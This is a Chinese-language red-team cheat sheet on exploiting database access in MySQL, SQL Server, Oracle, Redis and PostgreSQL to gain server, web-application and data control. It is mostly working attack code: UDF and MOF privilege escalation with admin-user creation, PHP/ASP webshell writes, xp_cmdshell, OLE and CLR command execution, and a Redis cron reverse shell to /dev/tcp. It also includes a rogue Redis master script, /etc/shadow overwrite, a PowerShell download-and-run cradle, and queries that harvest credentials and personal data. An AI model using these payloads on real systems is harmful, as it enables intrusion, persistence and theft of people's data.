该篇文章总结了在国家级攻防演练中数据库相关利用,旨在帮助红队选手在拿下数据库权限后快速拓展获取服务器权限、WEB应用权限、数据分数,请勿非法利用。
该篇文章并不是将所有的利用方式进行总结,因为有一些利用方式非常鸡肋,条件极其苛刻,文章总结了在实战中利用率较高且性价比较高的利用方式。
建议大家在实战中直接使用工具,当使用工具遇到问题时可通过以下利用步骤进行调试
网上有成熟的数据库利用工具:https://github.com/SafeGroceryStore/MDUT
secure-file-priv 不为NULL
存在\lib\plugin目录
确定--secure-file-priv参数,值为NULL则无法提权
show global variables like '%secure%';
确定mysql版本,对应udf.dll版本
show variables like "%version%";
将udf.dll代码的16进制数声明给my_udf_a变量
use mysql;
set @my_udf_a=concat('',dll的16进制);
建表my_udf_data,字段为data,类型为longblob
create table my_udf_data(data LONGBLOB);
@ my_udf_a插入表my_udf_data
insert into my_udf_data values("");update my_udf_data set data = @my_udf_a;
查看udf.dll的导出路径
show variables like '%plugin%';
将udf.dll导出
select data from my_udf_data into DUMPFILE 'D:/hack/phpstudy/PHPTutorial/MySQL/lib/plugin/udftest.dll';
创建cmd function
create function sys_eval returns string soname 'udftest.dll';
命令执行
select sys_eval('whoami');
附:各版本的udf.dll的hex,参考的MDUT,固定了只允许创建sys_eval函数
secure-file-priv参数为空
mysql服务权限为管理员
生成mof文件
pace("\.rootsubscription")instance of **EventFilter as $EventFilter{ EventNamespace = "RootCimv2"; Name = "filtP2"; Query = "Select * From **InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
导入nullevt.mof文件
select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile 'c:/Windows/system32/wbem/mof/nullevt.mof';
secure-file-priv参数为空或者为网站根路径
知道网站的绝对路径
写入一句话到网站根目录
select '<?php @eval($_POST[shell]); ?>' into outfile 'D:/hack/phpstudy/PHPTutorial/WWW/shell.php';
知道网站的绝对路径
开启general_log
set global general_log='on';
设置日志存放位置
SET global general_log_file='D:/hack/phpstudy/PHPTutorial/WWW/cmd.php';
写入一句话到日志文件
SELECT '<?php assert($_POST["cmd"]);?>';
知道网站的绝对路径
开启慢查询日志
set global slow_query_log=1;
设置日志存放位置
set global slow_query_log_file='D:/hack/phpstudy/PHPTutorial/WWW/low.php';
写入一句话到慢查询日志文件
select "<?php @eval($_POST['cmd'])?>" or sleep(11);
拥有DBA权限
判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
xp_cmdshell命令执行
exec master..xp_cmdshell whoami;
拥有DBA权限
判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
开启Ole automation procedures
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;
命令执行多种方式
wscript.shell组件
declare @luan int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@luan output
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
com组件
declare @luan int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
拥有DBA权限
需要sqlserver代理(sqlagent)开启
尝试开启sqlagent
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
利用任务计划命令执行(无回显)
USE msdb;
EXEC dbo.sp_add_job @job_name = N'testjob'
EXEC sp_add_jobstep @job_name = N'testjob', @step_name = N'testjob', @subsystem = N'CMDEXEC', @command = N'whoami', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'testjob'
EXEC dbo.sp_start_job N'testjob';
拥有DBA权限
开启CLR
exec sp_configure 'show advanced options','1';reconfigure;exec sp_configure 'clr enabled','1';reconfigure;exec sp_configure 'show advanced options','1';
导入CLR插件
CREATE ASSEMBLY [MDATKit]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;
[16进制的dll](https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt)
创建CLR函数
CREATE PROCEDURE [dbo].[kitmain]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [MDATKit].[StoredProcedures].[kitmain]
kitmain函数命令执行
exec kitmain 'cmdexec',N'whoami'
拥有DBA权限
知道的网站绝对路径
判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
利用存储过程写入一句话
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\xxxx\www\test.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
拥有DBA权限
知道的网站绝对路径
判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
利用存储过程写入一句话
alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:\xxxx\www\2.asp'
拥有DBA权限
sqlserver服务权限为system
服务器拥有jet.oledb.4.0驱动
修改注册表,关闭沙盒模式
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
命令执行
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("whoami")');
dba权限
使用sqlplus连接
system/[email protected]:1521/orcl
赋权
begin dbms_java.grant_permission( 'PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,execute,delete' );end;
/
创建java代码
create or replace and compile java source named exe_linux as
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.UnknownHostException;
public class Test
{
public static String list_cmd(String str){
Runtime runtime=Runtime.getRuntime();
StringBuffer enco = new StringBuffer();
enco.append("GBK");
try{
Process proc =runtime.exec(str);
InputStream inp_suc=proc.getInputStream();
InputStream inp_err=proc.getErrorStream();
BufferedReader bfr_err = new BufferedReader(new InputStreamReader(inp_err,enco.toString()));
BufferedReader bfr_suc = new BufferedReader(new InputStreamReader(inp_suc,enco.toString()));
String strLine;
while( (strLine=(bfr_suc.readLine())) != null){
System.out.println(strLine);
}
while( (strLine=(bfr_err.readLine())) != null){
System.out.println(strLine);
}
proc.destroy();
inp_suc.close();
inp_err.close();
}catch (Exception e) {
System.out.println("EXECUTE IS ERROR!");
System.out.println(e.getMessage());
}
return "";
}
/* public static void main(String[] args){
list_cmd(args[0]);
}
**/
}/
创建存储过程
create or replace procedure p_exe_linux(str varchar2) as language java
name 'Test.list_cmd(java.lang.String)';
/
命令执行
SET SERVEROUTPUT ON
exec dbms_java.set_output(1111111111111);
EXEC P_EXE_LINUX('whoami');
出网
redis服务为root权限
linux
反弹shell
config set dir /var/spool/cron/
config set dbfilename root
set xxx "\n\n\n* * * * * bash -i >&/dev/tcp/ip/端口 0>&1\n\n\n"
save
redis服务为root权限
允许密钥登录
linux
写入ssh公钥
config set dir /root/.ssh
config set dbfilename authorized_keys
set xxssh "\n\nssh-rsa xxxxxx\n\n"
save
知道网站的绝对路径
拥有网站目录的写权限
写入webshell
config set dir /home/web/wwwroot/
config set dbfilename xxx.php
set xxphp "\n\n<?php eval($_REQUEST['x']); ?>\n\n"
save
redis 4.x/5.x
出网
linux
在vps上开启redis从服务,提供exp.so
python3 redis-cus-rogue.py 21000 exp.so
redis-cus-rogue.py
#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import timeDELIMITER = b"\r\n"
class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]return data.strip().split()
def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
breakself.finish()
def finish(self):
self.request.close()class RoguoServer(socketserver.TCPServer):
allow_reuse_address = Truedef __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payloadif __name__ == "__main__":
if len(sys.argv)< 2:
print("python [port] [filename]")
print("python 21000 exp.so")
exit(0)lport = int(sys.argv[1])
expfile = sys.argv[2]
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())
print("rogue server startup %d port"%lport)
server.handle_request()
print("recevice client request")
目标redis加载远程exp.so命令执行
#设置redis的备份路径为当前目录
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof 192.168.172.129 21000
#加载恶意模块
module load ./exp.so
#切断主从,关闭复制功能
slaveof no one
#执行系统命令
system.exec 'whoami'
redis 4.x/5.x
出网
linux
redis服务权限为root
在vps上开启redis从服务,提供shadow文件
python3 redis-cus-rogue.py 21000 shadow
目标redis远程加载shadow,覆盖原始shadow
config set dir /etc/
config set dbfilename shadow
slaveof 192.168.172.129 21000
需要启动项目录的写入权限
windwos
服务器需要重启
写入启动项
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
set x "\r\n\r\npowershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.2/shell.ps1');xx.ps1\"\r\n\r\n"
save
拥有网站路径写入权限
知道网站绝对路径
写入webshell
copy (select '<?php phpinfo();?>') to '/tmp/1.php';
版本9.3-11.2
超级用户或者pg_read_server_files组中的任何用户
命令执行
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
版本9.3-11.2
超级用户或者pg_read_server_files组中的任何用户
命令执行
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
通过SQL语句快速查询数据库中WEB应用后台的账号密码,获取WEB应用权限分
查看数据库连接情况:
show processlist;
xx 库中所有字段名带 pass|pwd 的表
select distinct table_name from information_schema.columns where table_schema="xx" and column_name like "%pass%" or column_name like "%pwd%"
获取WEB应用账号密码
select * from car.sys_user
查看xx数据库连接的IP
select DISTINCT client_net_address,local_net_address from sys.dm_exec_connections where Session_id IN (select session_id from sys.dm_exec_Sessions where host_name IN (SELECT hostname FROM master.dbo.sysprocesses WHERE DB_NAME(dbid) = 'xx'));
xx 库中所有字段名带 pass|pwd 的表
select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%pass%' or name like '%pwd%')
获取WEB应用账号密码
select * from [test].[dbo].test1
查看用户数据库连接的IP
select username,program,machine,client_info,sys_context('userenv','ip_address') as ipadd from v$session s where username is not null order by username,program,machine;
用户库中所有字段名带 pass|pwd 的表
SELECT * FROM USER_TAB_COLUMNS WHERE column_name LIKE '%PASS%' OR column_name LIKE '%PWD%';
获取WEB应用账号密码
SELECT * FROM 库名.表名;
通过SQL语句快速查询数据库中的大量、重要数据,获取数据分
xx 库中所有表,按字段数排序
select table_name,table_rows from information_schema.tables where table_schema='xx' order by table_rows desc;
xx 库中所有字段名带个人信息的表
select distinct table_name from information_schema.columns where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名"
xx 库中所有表,按字段数排序
SELECT a.name,b.rows FROM xx..sysobjects a INNER JOIN xx..sysindexes b ON a.id=b.id WHERE b.indid IN(0,1) AND a.Type='u' ORDER BY b.rows DESC
xx 库中所有字段名带个人信息的表
select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%name%' or name like '%phone%' or name like '%mobile%' or name like '%certificate%' or name like '%number%' or name like '%email%' or name like '%addr%' or name like '%card%' or name like '%电话%' or name like '%地址%' or name like '%身份证%' or name like '%姓名%')
用户库中所有表,按字段数排序
select t.table_name,t.num_rows from user_tables t ORDER BY NUM_ROWS DESC;
用户库中所有字段名带个人信息的表
SELECT * FROM USER_TAB_COLUMNS WHERE regexp_like(column_name,'NAME|PHONE|MOBILE|CERTIFICATE|NUMBER|EMAIL|ADDR|CARD|电话|地址|身份证|姓名')